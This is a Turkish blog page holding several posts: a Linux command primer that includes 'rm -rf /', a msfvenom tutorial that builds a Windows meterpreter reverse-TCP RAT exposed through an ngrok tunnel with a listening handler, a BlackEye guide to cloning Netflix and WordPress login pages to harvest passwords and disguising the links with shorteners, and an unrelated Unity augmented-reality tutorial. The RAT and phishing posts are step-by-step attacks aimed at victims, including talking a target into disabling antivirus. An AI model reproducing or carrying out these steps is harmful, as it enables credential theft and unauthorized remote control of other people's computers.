İşletim sistemini ne amaçla kullanacağımıza göre de tercihler değişiyor. Örneğin oyun oynarken veya tasarım yaparken verim almak istiyorsak Windows kullanmak yerinde olacaktır. Birçok oyun ve tasarım programları linux üzerinde çalışmıyor. Diğer yandan yazılım yazarken veya pentest işlemlerinde Linux’un çok daha iyi olduğuna inanıyorum. Çoğu linux dağıtımında pentest araçları mevcut. Ancak şöyle de bir yanılgı var: linux kurduğunuzda hacker olmuyorsunuz. Haberlerde kullanılan “Hackerların kullandığı en acayip manyak 5 işletim sistemi” gibi başlıklar vurucu olsa da o kadar realist değil.

Peki hangi dağıtımlar mevcut? En çok bilineni Kali Linux. Kali Linux, ikinci versiyonunu çıkarttı. Eskiden backtrack dağıtımı olarak bilinirken ona desteğini kesti ve daha sonra kali olarak devam etti. Pentest için oldukça iyi bir işletim sistemi. Terminal ve arayüz arasında bir denge olduğunu söylemek mümkün.

Benim sık kullandığım dağıtım ise ParrotSEC. ParrotSEC, Kali Linux’a oldukça benziyor. Ama ondan daha stabil ve arayüzünün daha hacker havasına büründüğünü söyleyebilirim. Kali linux kurulumunda ilk aldığım hataları ParrotSEC kurarak aşmıştım. İçerisinde daha fazla araç bulunduruyor.

Arch ve Black Arch dağıtımları var. Onlar arayüzü büyük oranda grafiksel olmayan dağıtımlar. İşlerin çoğunu terminalden halletmek gerekiyor. Arayüz çok zayıf. Ancak bununla beraber donanımın gücü yapılan işlemlere kalıyor. Arayüze bir “harcama” yapmak gerekmiyor.

Ubuntu dağıtımı en popüler dağıtımlardan birisi. Daha ziyade son kullanıcıya yönelik. Arayüzü zengin. Windows’tan yeni geçecek olanlara genelde Ubuntu önerilir. Ancak siber güvenlik araçları kurulu bir şekilde gelmez. Kendiniz kurarsınız. Aynı zamanda bir mağazaya sahip.

Yavaştan dizin yapısına geçelim. Yüzeysel bahsedeceğim şimdilik.

/bin: Temel linux komutları burada yer alır. Bunlar tüm kullanıcıların kullanabileceği komutlardır.
/sbin1: Sadece root yetkisine sahip kullanıcının kullanabileceği komutlar burada yer alır.
/boot: Sistemin boot edilmesi için gerekli değişmez veriler. Yani sistemin açılmasına yardımcı olan dosyalar burada yer alır.
/dev: Cihazların bulunduğu dosyalar.
/etc: Local sistemimiz için gerekli sistem dosyaları.
/home: Kullanıcı dizinleri.
/lib: Programların ihtiyacı olan yazılım kütüphanelerine ait dosyalar burada yer alır.
/mnt: Geçici bağlantı noktası.
/proc: Dosya sisteminin Process (işlem) bilgileri.
/root: ‘root’ kullanıcısına ait kişisel dizin. Diğeri kullanıcılar buraya erişemez.
/tmp: Geçici saklama alanı. Herkese açıktır. (Hacklenmeye çalışılan sistemlerde buraya shell atılıp çalıştırılabilir mi sanki(?))
/usr: İkincil ana hiyerarşi (Uygulama programlarını içerir.)
/var: Değişken veri bölgesi.

Komutlara geçmeden önce ufak bir şeye daha dokunmamız gerek. Linux’ta yer alan “root” kullanıcısı, Windows’ta yer alan Administrator’e denk gelir. İkisi de sistemde tam erişime sahiptir. Ancak siz, linux sistemindeki tek kullanıcı dahi olsanız, root kullanıcı olmayabilirsiniz. Eğer bu tip bir işlem yapmanız gerekirse root terminalini (genelde kırmızı renkte sembolü vardır) açmanız gerek. Veya yazacağınız komutun başına “sudo” yazarsanız root yetkisi istemiş olursunuz. Kullandığınız dağıtıma göre komut değişmektedir. İnternette arayıp temin edebilirsiniz. Daha sonra linux sizden root parolasını girmenizi ister. Daha sonrasında komutu çalıştırabilirsiniz. 

Son bir iki mesele daha…. Eğer linuxta bir komutun ne işe yaradığını veya nasıl kullanılacağını bilmiyorsanız komutun yanına -h, -help veya –help yazmanız yeterli. Linux terminalin en pratik özelliklerinden birisi de bu. Diğer yandan bir araç çalıştırdınız fakat durdurmak veya çıkmak istiyorsunuz. Büyük oranda CTRL+C kısayolu işinize yarayacaktır. Geçelim bu vırvırları ve esas meselemize gelelim.

ls: Bulunduğunuz dizindeki dosyaları listeler.

ls -a: Gizli dosyaları da gösterir. İsmi “./” ile başlayanlar örneğin.

ls -l: Dosyaların izin durumları, boyutu, tarihi vs. gibi bilgileri de beraberinde vererek listeler.

cd oguzatay: oguzatay ismindeki dizine geçiş yapmanızı sağlar. Bulunduğunuz dizinde böyle bir dizin varsa tabii. Veya, cd /Desktop/oguzatay gibi birden fazla dizin belirterek de geçiş yapabilirsiniz.

cd ~: Home dizinine geçiş yapmanızı sağlar. cd komutu, “Change Directory”den gelir.

cd -: Bir önceki dizine döner.

cd ..: Üst dizine gider. Örneğin Desktop/caglar dizinindesiniz. Bu komutu kullandığınızda /Desktop dizinine dönüş yaparsınız.

cp kaynak hedef: Kaynaktan hedefe dosya kopyalar. “Copy”den gelir.

cp -R kaynak hedef: Recursive kopyalar.

mv kaynak hedef: Dosyaları taşımak veya adlarını değiştirmek için kullanılır.

mkdir cumhuriyet: “cumhuriyet” isminde dizin oluşturmanızı sağlar. “Make Directory”den gelir.

rm kapitulasyon: Bulunduğunuz dizindeki “kapitulasyon” isimli dosyayı siler. “Remove Directory”den gelir.

rmdir yobaz: Bulunduğunuz dizindeki, içi boş olan “yobaz” dizinini siler.

rm -r halifelik: halifelik dizinini içindeki dosyalarla beraber siler.

rm -rf /mandavehimaye: “mandavehimaye” dizini içindeki tüm dizinleri ve dosyaları tekrar sormaksızın siler.

rm -rf / : Kök dizini tamamen siler. Kullanmadan önce tekrar düşünmek ister misiniz?

touch nutuk.txt: “nutuk.txt” isminde bir dosya yoksa yaratır, varsa tarihini değiştirir.

cat andimiz.txt: Terminal üzerinde, “andimiz.txt” isimli dosyayı gösterir.

grep Türk’üm andimiz.txt: “Türk’üm” yazısını “andimiz.txt” dosyasında arar. Bulunduğu satırı görüntüler.

less dosyaadi: Dosyada ilerlemek için kullanılır. (Q ile çıkış yapar.)

pwd: Bulunulan dizinin ismini gösterir.

who: Makineye bağlı kullanıcıları görüntüler.

whoami: Sizin hangi kullanıcı olduğunuzu görüntüler.

uptime: Bilgisayar açıldığından beri geçen süreyi gösterir.

ifconfig: Windows’taki “ipconfig” ile aynı işi yapar. Yerel IP adresi, MAC adresi, etkin arabirim gibi bilgileri listeler.

ifconfig -a: Temel komutun yanı sıra etkin olmayan arabirimleri de sıralar.

ifconfig eth0: eth0 arabirimi ile ilgili olan bilgileri getirir.

ifconfig eth0 up/down: eth0 arabirimini aktif eder/durdurur.

ifconfig eth0 hw ether AA:BB:CC:DD:EE:FF: eth0 arabiriminin MAC adresini değiştirir.

ifconfig eth0 192.168.1.10: eth0 arabirimine IP adresi atar.

man komutismi: komutismi yerine yazdığımız komutun detaylı biçimde nasıl kullanıldığını ve ne işe yaradığını gösterir.

useradd kobay: “kobay” isminde bir kullanıcı oluşturur.

history: Terminalde kullandığınız son komutları görüntülemenizi sağlar.

reboot: Sistemi yeniden başlatır.

shutdown -h now: Sistemi kapatır.

shutdown -h 23:59 : Sistemi, saat 23.59’da kapatır.

sudo shutdown +15: Sistemi 15 dakika sonra kapatır.

sudo shutdown -c: Kapatmaktan vazgeçerseniz bu komutu kullanabilirsiniz.

echo “Ayakta mı duramıyom?”: Terminale, “Ayakta mı duramıyom? yazar.

clear: Terminali temizler.

ps: Çalışan işlemleri gösterir.

kill PID: Komuta girdiğiniz işlemi durdurur.

tar -cvf txt_dosyalar.tar *txt : Sonu txt ile biten tüm dosyaları sıkıştırır. Tamamını txt_dosyalar.tar adlı dosyada birleştirir.

tar -tf txt_dosyalar.tar:  txt_dosyalar.tar dosyasının içindekileri listeler.

tar -xvf txt_dosyalar.tar: Dosyanın içeriğini çalışma alanına döker.

wget -r http://siteadi.com/wget/ : Söz konusu adreste gösterdiğiniz dizini bilgisayara indirir.

wget -c $http://siteadi.com/wget/parrotsec.iso : Belirttiğiniz iso dosyasını indirir. İndirme aniden kesilse dahi -c komutu ile indirmeye devam edebilirsiniz.

git clone URL: URL yerine girdiğiniz github adresindeki dosyaları indirir.

sudo apt-get install paket_adı: paket_adı isimli dosyanın kurulmasını sağlar.

sudo apt-get remove paket_adı: paket_adı isimli dosyanın kaldırılmasını sağlar.

sudo apt-get update: Paket listelerini günceller.

chmod komutu, dosya izinleri ile ilgilidir. Bunun için birkaç temel şeyi bilmek gerekir. Dosya izinleri üçe bölünür:

  • r: read(okuma)
  • w: write(yazma)
  • x: execute(çalıştırma)

Bu izinler sıralı olarak gösterilir. “rwx” şeklinde. Dosya özelliklerinde hangi harf varsa o kişi, o yetkilere sahiptir. Bunun dışında bir ve sıfırlarla da gösterilebilir. Örneğin “110” yazıyorsa, okuma ve yazma izni var, çalıştırma izni yok demektir.

Devam edelim. Kullanıcılar da üçe bölünüyor:

  • u – user (dosyanın sahibi)
  • g – group (dosya veya dizinin ait olduğu grup)
  • o – other (diğerleri, user ve group haricindekiler)
  • a – all (ugo- user,group, other) (hepsi, herkes dosya ve dizinlere erişebilir.)

Şimdi hepsini bir arada inceleyeceğimiz bir örnek yazalım. Listeli şekilde giden bu izin harflerini üçer üçer böleceğiz. Diyelim ki dosta izni kısmında “drwxr-xr–” yazıyor. Bu durumda, söz konusu dizine userın okuma, yazma, çalıştırma izni var demektir. Dizinin ait olduğu grubun okuma ve çalıştırma izni var, yazma izni yok demektir. Diğer kullanıcıların ise okuma izni var, yazma ve çalıştırma izni yok demektir.

Peki buraya kadar tamam. İzinleri nasıl değiştireceğiz?

  • chmod +r dosya: Dosyaya okuma izni verir.
  • chmod 666 dosya: Tüm kullanıcılara okuma ve yazma yetkisi verilir.
  • chmod a+rwx  ve chmod 777 dosya: Dosyaya tüm kullanıcılar tarafından tam yetki verilir.
  • chmod go-rw dosya: Grup ve diğer kullanıcılar üzerindeki okuma ve yazma yetkisini kaldırır.

Varyasyonları arttırmaya devam edebiliriz.

Arada bir detay var fark ettiniz mi? chmod sonrasında “rwx” yerine sayılar kullandım. Peki bunlar nasıl çalışıyor? Her yetkinin bir değeri var. Toplandığında bize yetki dağılımını veriyor.

  • Read: 4
  • Write: 2
  • Execute: 1

Toplamları bize kullanıcının yetkisini verecek. Örneğin:

chmod 765 : Birinci kullanıcıya düşen sayı 7, ikinciye düşen 6, üçüncüye düşen 5. Bu durumda birinci kullanıcı “rwx”  yetkilerine sahip. İkinci kullanıcı “rw-“, üçüncü kullanıcı ise “-wx”.

Kategoriler
Linux Metasploit Siber Güvenlik

Msfvenom ile Uzaktaki Windows Makineye Saldırı

Metasploit serisine bu sefer uygulamalı bir yazı ile devam edeceğiz. Windows sistem kurulmuş makinelere metasploit ile rat hazırlayacağız ve karşı taraftan bağlantı almayı deneyeceğiz. Ancak farklı olarak ngrok kullanarak farklı ağdan internete çıkan makineler üzerinde de test edeceğiz.

Ngrok kullanımından daha önce Tembeller için Phishing: Blackeye yazımda anlatmıştım. Oraya bir göz atmanız yeterli. Bu yazıda mantığını es geçip uygulamasını göstereceğim.

./ngrok tcp 1212 komutu ile ngrok uygulamasında tcp tipinde 1212 portunu açıyoruz. Port numarası sizin keyfinize kalmış. Daha sonra bize verdiği beş haneli port numarasını(değişebilir) ve linki bir kenara alalım. Ngrok çalışmaya devam etsin. Msfvenom’a geçelim.

Şimdi msfvenom ile ratı oluşturalım.

msfvenom windows/meterpreter/reverse_tcp LHOST=0.tcp.ngrok.io LPORT=11841 -f exe R > rat.exe

Ezbere gitmeyelim. Ne yaptık anlatalım. Msfvenom aracı ile windows sistemlerde reverse tcp bağlantı yapacak bir dosya hazırladık.  LHOST ile local adresimizi ngrok aracının verdiği bağlantıyı girdik. LPORT ile port adresimizi de ngrok sisteminin verdiği porta verdik. -f exe kısmında da exe dosyası tercih ettiğimizi belirttik. R > rat.exe ile istediğimiz rat dosyasını bulunduğumuz dizine rat.exe isminde oluşturduk.

Reverse tcp bağlantı nedir? Klasik mantıkta siz bir rat oluşturduğunuzda karşı makinede bir port açıp onun üstünden karşı makineye bağlanırsınız. Oluşturduğunuz rat karşı tarafta bir port açardı. Buna bind shell diyoruz. Reverse shell, buradaki adı ile reverse tcp bağlantı ise saldırgan tarafta port açılması, karşı makinenin o porta bağlanarak veri aktarması mantığına dayanır.

Rat dosyasını oluşturduk Karşı tarafa atmadan önce oluşturduğumuz ratı dinlemeye alalım. “msfconsole” komutu ile metasploiti çalıştıralım. Daha sonra use exploit/multi/handler diyelim. Daha sonrasında ise aşağıdaki bilgileri girmemiz yeterli.

set LHOST 127.0.0.1

set LPORT 1212

run

Karşı taraf dosyayı açtığında bağlantı gelecek ve sistemde yetkinize bağlı olarak işlem yapabileceksiniz. Diğer sıkıntı ise anti virüs uygulamaları anında fark edecektir. Windows defender da buna dahil. Karşı tarafa anti virüs uygulamalarını eliyle kapattırmak gerekiyor. Biz antilerden nasıl kaçarız, kalıcılığı nasıl sağlarız, yetki yükseltme işlemini nasıl yaparız ayrı ayrı anlatacağız.

Kategoriler
Linux Siber Güvenlik

Tembeller için Phishing: BlackEye

Daha öncesinde twitter hesabımdan Blackeye isimli aracı göstermiştim ve oldukça kolay olduğundan bahsetmiştim. Siz listeden seçili olan bir scripti seçiyorsunuz ve bir link veriyorsunuz. Daha sonra karşı tarafa linki gönderiyorsunuz. Giriş yaptığında bilgiler karşınıza geliyor. Script hazırlayayım kurulum yapayım derdi yok. Yalnızca bir sayıya basıyorsunuz. Kolay fakat bir kahve arası yazı hazırlamaya değer.

https://github.com/thelinuxchoice/blackeye  adresine gidip aracı indirin. Zip’ten çıkartıp bir kenara atın. Sonra blackeye dizinine geçip aracı çalıştırın.

git clone https://github.com/thelinuxchoice/blackeye
cd blackeye
bash blackeye.sh

Daha sonra karşınıza çıkan ekrandan istediğiniz scripti seçin. Kimisi eski temada kalmış olabilir ancak klasördeki dosyaları biraz düzenleyerek devam edebilirsiniz. Sonrasında sizden karşı tarafa göndereceğiniz linki istiyor. Elbette kafanıza göre domain veremezsiniz. Yerel ağda kullanmak istiyorsanız localdeki ip adresinizi girmeniz yeterli. Daha sonra ağdaki başka bir makinede taraayıcıya girip ip adresinizi yazmanız yeterli. Karşı taraf giriş yaptığı zaman bilgiler sizin terminalinize düşmüş olacaktır. Aşağıda giriş yaptığımız bir örnek mevcut. Adres kısmına bakarsanız localdeki ip adresim mevcut. Ben Sign In dedikten sonra Netflix’in orijinal sayfasına yeniden yönlendirecek.

Arkada neler oldu? Ben 8 numaralı scripti seçtim. Netflix’e aitti. Sonrasında bağlanan kurbanın ip adresini verdi. Kendi makinemde denediğim için yine Victim IP: 172.16.101.1 yazdı. Hangi tarayıcı, hangi işletim sisteminden bağlanıyorsam topladı ve netflix/saved.ip.txt adresine logladı. Daha sonra benim giriş yapmamı bekledi. Ve Account kısmında kullanıcı adımı, Password kısmında ise parolamı verdi. Bunu da sites/netflix/saved.usernames.txt adresine logladı. İşte hepsi bu kadar… değil. Az daha işimiz var 🙂

Peki ama farklı ağda ise nasıl halledeceğiz? Aracın güzelliği de burada aslında. Ngrok ile beraber çalışıyor. Size direk olarak bir ngrok linki veriyor ve onu internete bağlı bir makinede çalıştırmanız yeterli oluyor. Ancak benim kullandığım versiyonda ngroku manuel çalıştırıp linki vermem gerekiyor. E yapalım madem. Ama öncesinde ngrok ne ondan bahsedelim. Kabaca, sizin localde çalıştırdığınız bir sistemi herkesin bağlanabileceği bir tünele bağlıyor. Bu şekilde istediğiniz birisi ile dosya paylaşımı da yapmanız mümkün. Bir web sitesi yaptınız. Localde hazırlıyorsunuz ancak gelişmeleri müşteri anlık takip etsin istiyorsunuz. FTP ile mi uğraşacağım canım diyorsunuz. Ngrok sayesinde direk link vermeniz mümkün. Ücretsiz versiyonda ngrok her açılışta yeni link verir. Ancak ücretli versiyonda size tanımlanan linkler sabittir ve tekrar tekrar kullanabilirsiniz. Konumuza dönelim. Önce ngroku sisteme kuralım.

https://ngrok.com/ adresine önce kayıt olmanızda fayda var. Daha sonrasında indirip bir dizine çıkartın. Arkasından size sitede verilen bir token var. Onu girmeniz gerek. Aşağıda ikisini de gösterdik.

unzip /path/to/ngrok.zip

./ngrok authtoken [TOKEN-NO]

Şimdi ngroku çalıştırabiliriz. ./ngrok help diyerek kullanabileceğiniz parametreleri görebilirsiniz. Devam edelim. ./ngrok http 80 yazalım ve tüneli oluşturalım. Http versiyonlu 80 portunda çalışan bir tünel bu. Siz tcp ile metasploitte rat da yaparsınız ki onu sonra anlatacağım zaten.

Yukarıdaki ekran geldiyse sorun yok demektir. Şimdi tekrar blackeye aracına dönün ve önceki yaptığımız adımları aynen yapın. Ancak bu sefer local ip adresiniz yerine localhost yazın. Ne alaka mı? Siz localhostunuzu ngrok ile internete açtınız. Daha sonra http://59423c12.ngrok.io adresine tıklandığında script karşımıza çıkacak. Hangi ağda olduğu önemli değil. İnternete çıksın o bize yeter. Ngrok linki artık bütün internete açık ve wordpress panel scripti çalıştırdım. Giriş bilgileri aynen blackeye üzerinde görünecek ve loglanacaktır. Bunu reklamsız ve göze batmayan link kısaltma siteleri ile karşı tarafa göndermek mümkün. İstediğiniz bir domainde çalıştırmanın yolu var mı bilmiyorum. Sizlerden bunu çözen olursa yorumlara bir mesaj bırakırsa çok sevinirim.

Kategoriler
Teknoloji

UNITY ile Artırılmış Gerçekliğe Giriş

Artırılmış gerçeklik ile ilgili amatör düzeyde çalışmalar yapıyorum. Bunları sizlerle paylaşmak istedim. Sanıyorum ki yazılı halde anlatımlar oldukça sınırlı. Halihazırda güzel uygulamalar mevcut ancak bir geliştirici olarak Unity’de artırılmış gerçeklik uygulamalarını biz nasıl yaparız onlara bir bakalım.

Artırılmış Gerçeklik Nedir?

Konuya girmeden önce artırılmış gerçeklik nedir ve sanal gerçeklikten farkı nedir bunu izah etmem gerekecek. Artırılmış gerçeklik, ses,video, üç boyutlu model gibi dijital verilerin gerçek hayata eş zamanlı entegre edilmesidir. Örnek vermek gerekirse sokakta yanından geçtiğiniz reklam panosunda sizin deterjan reklamı, arkadaşınızın kola reklamı görmesi artırılmış gerçekliğe uygun bir örnektir. Veya bir dönem herkesi sokağa döken pokemon go oyununda boş sokakta bir yaratık görmeniz de harika bir örnek. Sanal gerçeklikten farkı ise gerçek dünyayla uyumlu olmasıdır. Sanal gerçeklikte her şey sanaldır. Bütün gördükleriniz modellenmiş nesnelerdir. Dijital ortamdır. İkisinde de gözlük veya bir ekran olması kafa karıştırmasın.

Yaptığımız şey bir karekod veya görseli görünce ortaya çıkan üç boyutlu bir nesne olacak. Bu yazıda sadece bu kadarını anlatalım.

1-) Unity ve Vuforia Kurulumu

Şimdi ihtiyacımız olan programları hazırlayalım. Öncelikle Unity’nin web sitesinden üyelik alıyoruz.Daha sonra Unity Store’dan “personal” kısmını seçerek ücretsiz olarak Unity’i indiriyoruz. Kurulum aşamalarını hallettiğinizi varsayarak devam ediyorum. Şimdi de Vuforia’dan üyelik alacağız. Vuforia bizim arttırılmış gerçeklik objelerimiz hazırlamamızda yardımcı olacak. Alternatifleri de var. Daha sonra downloads kısmından “Download Unity Extension (legacy)” kısmını seçerek ek paketimizi indiriyoruz.

İhtiyacımız olan paketleri indirdik, kurulumları yaptık. Şimdi Vuforia’nın development bölümüne geçelim. Öncelikle bir lisans anahtarı alacağız. Unity’de bu anahtara ihtiyacımız olacak. License Manager kısmından “Get Development Key” seçeneğine geçelim ve App Name kısmına proje ismimizi girelim. Ardından proje ismine tıklayarak lisans anahtarını kopyalayabiliriz. Ne zaman ihtiyacımız olacağını ileride sizlere göstereceğim.

2-) Vuforia Veritabanı Oluşturmak

Şimdi sırada veritabanı eklemek var. Target Manager seçeneğine tıklıyoruz. Ardından “Add database” kısmına tıklıyoruz. Database ismini girdikten sonra “create” diyoruz. Sırada bu veritabanına nesne eklemek var. Veritabanı ismimize tıkladıktan sonra “add target” seçeneğine geçiyoruz. istediğiniz türde bir nesne ekleyebilirsiniz. Biz bir karekod ekleyelim. Bunun için iki boyutlu  “single image” seçeneği yeterli. Dile kısmından istediğimiz görseli ekledikten sonra name kısmına obje ismini yazın ve width kısmına da bir genişlik girmemiz gerekiyor. 150 yazalım şu an için ve devam edelim. Tamam, artık veritabanı ile olan işlerimiz bitti. Target manager kısmından veritabanına girip, karekodu veya görselimizi seçerek üst taraftaki download database butonuna tıklıyoruz. Bilgisayarımıza indiriyoruz. Artık Unity’e geçebiliriz.

3-) Vuforia Paketlerinin Unity’e Entegre Edilmesi

Unity’i indirip kurdunuz varsayıyorum. Ardından bir proje oluşturun ve çalışma dosyamızı açın. Daha sonra üst menüden “Assets” kısmına gelin ve “Import Package” kısmından “Custom Package” seçeneğini seçin. Hatırlıyor musunuz? Vuforia download kısmında Unity için hazırlanmış bir paket vardı. Onu seçerek import ediyoruz. Yüklenmesi bir parça zaman alacak. Daha sonra size dizinler halinde dosyaları sıralayacak. Hepsinin seçili olduğundan emin olarak “Import” butonuna basın. Tüm bu işlemler bittiğinde Unity’nin alt tarafında dosyalar yer alıyor olacak.

4-) Unity Kamera Lisansı Girmek

Bir de veritabanı oluşturmuştuk hatırladınız mı? Şimdi sıra onu projemize eklemekte. Yukarıdaki işlemin bire bir aynısını yaparak indirdiğimiz veritabanını seçiyor ve devam ediyoruz. Projeye bir kamera eklememiz gerekiyor. Alt taraftaki assets kısmından import ettiğimiz Vuforia klasörünü seçiyoruz. Prefabs isimli klasörden ARCamera objesini seçip ekliyoruz. Ardından Vuforia web sitesindeki lisans anahtarını kopyalayıp bu kameraya giriyoruz. Sonra, Unity’de sağ tarafta yer alan Inspector sekmesine geçip “Open vuforia configuration” butonuna tıklıyoruz. Oluşturduğumuz lisans anahtarını “App license key” kısmına yapıştırıyoruz.  Sonra da “load <db_ismi>” kısmına tik atıyoruz ve altında oluşan “activate” kısmını da tikliyoruz.

5-) ImageTarget Dosyasını Ayarlamak

Daha sonra yine Assets -> Vuforia -> Prefabs dizininden ImageTarget seçeneğini seçip sol üstteki SampleScene alanına bırakıyoruz. ImageTarget bizim için önemli. Kamera, buraya eklenen görseli gördüğünde üç boyutlu (veya ne istiyorsak) artırılmış gerçeklik objemizi gösterecek. Siz bunu eklediğinizde sağ tarafta ayarlar menüsü açılacak. Database kısmından eklediğiniz veritabanını seçmelisiniz.

Yalnız sıkıntı şu ki, biz karekod yüklemiştik, karşımıza bembeyaz bir kare çıktı. Sıkıntı yok. Bunu da düzeltmenin yöntemini anlatayım. Assets -> Editor -> Vuforia -> ImageTargetTextures dizininden yüklediğiniz veritabanının klasörüne girin. Daha sonra içinde bir obje olacak. Onun dosya ismini kopyalayın. Sonra o dosyayı silin. Yükleyeceğiniz fotoğrafı sürükleyip proje kısmına bırakın. Ve sağ tıklayıp rename kısmını seçip sildiğiniz objenin ismini yapıştırın. Sonra ImageTarget’ın üstüne tıkladığınızda karşınızda görseliniz yer alacak.

6-) Üç Boyutlu Objeyi Yerleştirmek

Şimdi son aşama kaldı. O da görüntülenecek artırılmış gerçeklik objesini ayarlamak. Bunun için bir objeye ihtiyaç var. Farklı yerlerden temin edebilirsiniz. Kendi objelerinizi de hazırlayabilirsiniz. Biz çok daha basit bir şey yapacağız. Unity’nin içinde Asset Store mevcut. Play/Pause tuşlarının hemen altında yer alıyor bende. Sizde yoksa üst menüden window kısmına gelin. General kısmından asset storeyi seçin. Ücretli ve ücretsiz objeler mevcut.Seçtiğiniz objeyi indirin ve daha sonra import butonuna basıp projeye ekleyin. Sonrasında da boyutlandırmayı tamamlayıp ImageTarget’ın üstüne denk getirmeye çalışın. Kameranızı da hangi açıdan istiyorsanız o şekilde yerleştirin. Hepsi bu. Bundan sonra üst taraftaki play tuşuna basın ve kameranız başlasın. Sonra ImageTarget kısmına kaydettiğiniz görseli ister bir mobil cihazdan, ister çıktısını alarak kameraya gösterin. Bilgisayar ekranında, görselinizin üstündeki üç boyutlu objeyi görebileceksiniz.